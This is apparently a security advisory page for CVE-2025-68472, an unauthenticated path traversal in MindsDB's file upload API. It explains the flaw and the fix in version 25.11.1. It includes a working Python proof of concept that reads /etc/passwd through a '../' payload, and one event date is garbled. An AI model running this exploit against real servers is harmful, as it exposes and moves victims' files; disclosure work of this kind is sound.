CVE-2025-68472: MindsDB has improper sanitation of filepath that leads to information disclosure and DOS

Published Jan 12, 2026
·
Updated

Summary An unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Severity: High.

Details The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and sourcetype is not "url":

- data = request.json (line ~104) accepts attacker input without validation. - filepath = os.path.join(tempdirpath, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores tempdirpath and targets the attacker-specified location. - The resulting path is handed to ca.filecontroller.savefile(...), which wraps FileReader(path=sourcepath) (mindsdb/interfaces/file/filecontroller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(filepath, ...) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clearfilename or equivalent checks.

PoC 1. Run MindsDB in Docker: bash docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest 2. Execute the exploit from the host (save as poc.py and run with python poc.py): python # poc.py import requests, json

base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no sourcetype -> hits vulnerable branch

r = requests.put(f"{base}/api/files/leakrel", json=payload, timeout=10) print("PUT status:", r.statuscode, r.text)

q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT FROM files.leakrel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2)) 3. The SQL response returns the contents of /etc/passwd . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.

Impact - Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.

Other sources

MindsDB is a platform for building artificial intelligence from enterprise data. Prior to version 25.11.1, an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and sourcetype is not "url". Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clearfilename or equivalent checks. This vulnerability is fixed in 25.11.1.

NVD

Affected Software

2 affected componentsFixes available
pip/MindsDB<25.11.1
25.11.1
MindsDB MindsDB<25.11.1

Event History

Jan 12, 2026
Advisory Published
via GitHub·04:10 PM
Data Sourced
via GitHub·04:10 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·04:53 PM
Data Sourced
via MITRE·04:53 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
Affected Software
Sep 23, 58044
Event
via NVD·08:34 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-68472?

CVE-2025-68472 has a severity rating of High.

2

How do I fix CVE-2025-68472?

To fix CVE-2025-68472, upgrade MindsDB to version 25.11.1 or higher.

3

What type of vulnerability is CVE-2025-68472?

CVE-2025-68472 is an unauthenticated path traversal vulnerability in the file upload API.

4

What are the potential risks of CVE-2025-68472?

CVE-2025-68472 can allow unauthorized users to read arbitrary files from the server filesystem, potentially exposing sensitive data.

5

Which versions of MindsDB are affected by CVE-2025-68472?

MindsDB versions prior to 25.11.1 are affected by CVE-2025-68472.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203